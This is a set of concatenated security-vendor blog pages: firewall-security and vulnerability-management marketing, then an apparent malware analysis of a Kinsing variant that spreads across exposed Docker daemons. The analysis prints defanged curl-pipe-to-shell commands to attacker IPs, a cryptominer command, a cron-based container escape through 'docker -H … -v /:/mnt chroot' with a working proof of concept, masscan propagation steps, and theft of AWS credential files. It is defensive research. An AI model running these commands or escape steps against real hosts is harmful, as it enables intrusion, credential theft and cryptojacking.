traffic for suspicious activity and known attack patterns, helping to block or mitigate threats before they can breach the network. These systems significantly reduce the amount of manual effort that goes into detecting and blocking known malicious attack techniques. Web Application Firewalls (WAF) WAFs are specialized firewalls designed to protect web applications from a wide range of threats, including SQL injection, cross-site scripting (XSS), and other web-based attacks. Since these firewalls focus specifically on HTTP traffic, they are a type of application level gateway designed specifically for web applications that interact with users on the public internet. Antivirus Software and Anti-malware Tools Deploying up-to-date antivirus and anti-malware software on endpoints, servers, and Wi-Fi network routers helps detect and remove malicious software, reducing the risk of firewall compromise. In order to work effectively, these tools must be configured to detect and mitigate the latest threats alongside the organization’s other security tools and firewalls. Automated solutions can help terminate unauthorized processes before attackers get a chance to deliver malicious payloads. Regular Updates and Patch Management Keeping firewalls and all associated software up-to-date with the latest security patches and firmware updates is essential for addressing known vulnerabilities and ensuring optimal security. Security teams should know when configuration changes are taking place, and be equipped to respond quickly when unauthorized changes take place. Implementing a comprehensive visibility and change management platform like AlgoSec makes this possible. With AlgoSec, you can simulate the effects of network configuration changes and proactively defend against sophisticated threats before attackers have a chance to strike. Monitoring Network Traffic for Anomalies Continuous monitoring of network traffic helps identify unusual patterns or behaviors that may indicate a security incident. Anomalies can trigger alerts for further investigation and response. Network detection and response solutions grant visibility into network activities that would otherwise go unnoticed, potentially giving security personnel early warning when unannounced changes or suspicious behaviors take place. Streamline Your Firewall Security With AlgoSec Organizations continue to face increasingly sophisticated cyber threats, including attacks that capitalize on misconfigured firewalls – or manipulate firewall configurations directly. Firewall management software has become a valuable tool for maintaining a robust network security posture and ensuring regulatory compliance. AlgoSec plays a vital role enhancing firewall security by automating policy analysis, optimizing rule sets, streamlining change management, and providing real-time monitoring and visibility. Find out how to make the most of your firewall deployment and detect unauthorized changes to firewall configurations with our help. Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

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Review top vulnerability management tools for 2025, including suggested applications and selection criteria, and learn how to minimize exposure to security threats. It covers network vulnerability tools, automated vulnerability management systems, open source vulnerability scanners, continuous monitoring solutions, and patch management and vulnerability scanning tools. The number of cyberattacks keeps increasing, and their associated cost shows no sign of slowing down. The global average cost of a data breach now stands at $4.4 million, according to IBM’s Cost of a Data Breach Report 2025. Meanwhile, the Verizon 2025 Data Breach Investigation Report shows ransomware attacks caused 44% of all system-intrusion breaches. These data points underline that organizations must establish robust security measures early on to prevent future problems from occurring. This guide provides essential information about vulnerability management today through its presentation of top vulnerability management tools on the market for 2025. Top vulnerability management tools Select a size Which network Can AlgoSec be used for continuous compliance monitoring? Yes, AlgoSec supports continuous compliance monitoring. As organizations adapt their security policies to meet emerging threats and address new vulnerabilities, they must constantly verify these changes against the compliance frameworks they subscribe to. AlgoSec can generate risk assessment reports and conduct internal audits on-demand, allowing compliance officers to monitor compliance performance in real-time. Security professionals can also use AlgoSec to preview and simulate proposed changes to the organization’s security policies. This gives compliance officers a valuable degree of lead-time before planned changes impact regulatory guidelines and allows for continuous real-time monitoring. Vulnerability Management Tools for 2025: What to Use and Why Review top vulnerability management tools for 2025, including suggested applications and selection criteria, and learn how to minimize exposure to security threats. It covers network vulnerability tools, automated vulnerability management systems, open source vulnerability scanners, continuous monitoring solutions, and patch management and vulnerability scanning tools. The number of cyberattacks keeps increasing, and their associated cost shows no sign of slowing down. The global average cost of a data breach now stands at $4.4 million, according to IBM’s Cost of a Data Breach Report 2025 . Meanwhile, the Verizon 2025 Data Breach Investigation Report shows ransomware attacks caused 44% of all system-intrusion breaches. These data points underline that organizations must establish robust security measures early on to prevent future problems from occurring. This guide provides essential information about vulnerability management today through its presentation of top vulnerability management tools on the market for 2025. What Is Vulnerability Management? Vulnerability management is a process of ongoing asset discovery to locate weaknesses, which are then evaluated according to their risk level and business value. This approach enables fast problem-solving and generates clear, easy-to-understand data for stakeholders. Key Features of Modern Vulnerability Management Tools Organizations require a vulnerability management platform that protects their data centers, multiple cloud services, and SaaS platforms through analytical and automated features. To find the right vulnerability management tool for your environment, you need to assess both network vulnerability tools and application-aware engines. What Is Asset Discovery in Vulnerability Management and Why Does It Matter? Asset discovery in vulnerability management requires organizations to identify all hardware and software components within their network infrastructure. This first step is critical, as it allows companies to understand their security vulnerabilities and create appropriate protection plans. There is no safeguarding the invisible. This is why your chosen toolset must automatically detect all endpoints, servers, containers, applications, and internet-accessible assets that exist within both cloud and on-premises environments. A unified inventory system that integrates multiple data sources enables vulnerability scans to detect more assets. This, in turn, minimizes the number of detection and identification issues that occur when assets exist outside of your system. Why Is Continuous Vulnerability Monitoring Essential in 2025? Vulnerability monitoring will continue to be necessary in 2025 and beyond because the method of point-in-time assessments does not identify changing risk factors that are fast-evolving. The market-leading security tools employ business-relevant threat intelligence to help teams detect weaknesses that create risk. They also provide documentation, which is key. Auditors, engineers, and executives require clear documentation to demonstrate how continuous vulnerability monitoring leads to correct change control procedures and proper prioritization. A key aspect of automated vulnerability management is the combination of vulnerability scanning with patch management to maximize system defenses. Automated Vulnerability Management: How Patch Management and Vulnerability Scanning Work Together Traditionally, organizations use automated vulnerability management to decrease MTTR by creating service tickets/change requests and deploying secure patch solutions. However, organizations can automatically respond to detected threats if vulnerability scanning systems maintain a close link to patch management systems. The practice of automated vulnerability management integrates the steps of patch approval with rollout and verification, creating a single operational workflow. This approach provides an automation-based vulnerability management process that operates during scheduled maintenance periods. At the same time, a solution’s documentation system produces results for both auditable and transparent outcome-tracking. Reporting and Analytics for Effective Vulnerability Management Programs Custom dashboards aren’t just for engineers. Executives rely on them as well. A tool’s reporting system needs to deliver exposure trend information alongside SLA performance data and straightforward resolution paths. Leading platforms display CVEs through business-oriented visualizations that show how attacks could affect specific applications. Comparing Network Vulnerability Tools and Open Source Vulnerability Scanners Enterprise-grade scalability in commercial network vulnerability tools comes from: Asset correlation Risk-based prioritization ITSM/CMDB integrations Advanced reporting Network vulnerability tools support broad discovery operations and program governance, while open-source scanners deliver fast and targeted vulnerability assessments for development pipeline testing. Open-source scanners enable teams to perform fast PR reviews and test new security policies within CI/CD environments. The validation process enables these policies to become active in enterprise-wide scans, which network vulnerability tools handle. What Are the Top 10 Vulnerability Management Tools? The following summary of these 10 solutions’ key characteristics and relevant applications will help you match the right vulnerability management tool to your specific infrastructure. Tool Key Highlights Best For Tenable Nessus Expert Deep-dive scanning for hosts & web apps, plus basic cloud/external checks; prioritization with EPSS/CVSS/VPR and 450+ templates Teams requiring thorough, traditional scanning with some modern additions Rapid7 InsightVM Prioritizes fixes based on real-world attacker behavior; great for team workflows Enterprises wanting to focus on the most likely threats and streamline IT tasks Qualys VMDR An all-in-one platform for discovery, prioritization, and patching Large organizations looking for a single, integrated tool for the whole process Wiz Agentless cloud security that maps out potential attack paths Cloud-first companies that need to see the bigger picture of their cloud risk Prisma Cloud Secures the entire development lifecycle (coding to deployment) Dev-heavy teams needing to align security across the entire build process CrowdStrike Falcon Adds real-time vulnerability scanning to CrowdStrike's endpoint protection platform Companies already using CrowdStrike for endpoint security Microsoft Defender Vulnerability Management Native vulnerability management that's deeply integrated into the Microsoft ecosystem Organizations heavily invested in Microsoft products Orca Security Agentless scanning that pinpoints which vulnerabilities are actually exploitable Multi-cloud teams who want to quickly focus on the most critical, reachable risks Arctic Wolf Managed Risk Managed service with a concierge team that runs your vulnerability program for you Resource-constrained teams that want experts to handle vulnerability management Cisco Vulnerability Management (formerly Kenna Security) Uses data science to predict threats and suggest the most efficient fixes Organizations using multiple scanners that need a smart way to prioritize all the data Evaluating Vulnerability Management Solutions for Enterprises Enterprises need vulnerability management solutions that : Integrate with change workflows and CMDBs Expose robust APIs for automation and role‑based access controls Provide localized reporting and support delegated administration for global teams AlgoSec: A Leader in Vulnerability Management Solutions for Enterprises Getting a list of vulnerabilities from a scanner is just the first step. AlgoSec helps users understand and take action in the following ways: The platform provides context for all vulnerabilities in your system. Connect your current scanners to AlgoSec so it can identify and match its results to your operational business applications. See which specific services are affected by a server defect—not simply that you have a server problem. AlgoSec automates fixes without breaking things. The system not only produces automatic remediation rules, but its validation process verifies your changes to stop any accidental disruption of business operations. It helps you prioritize smarter. Develop a task list to match your organizational needs, allowing you to concentrate on the threats that endanger your essential applications the most. This saves time and eliminates unnecessary information. Choosing the right tool means moving beyond a simple list of flaws to understanding their real-world business impact. A context-aware approach is the key to managing risk effectively and ensuring your remediation efforts are both safe and efficient. Ready to see how an application-centric approach can boost your vulnerability management program? Learn more about AlgoSec and request a demo today! Get the latest insights from the experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call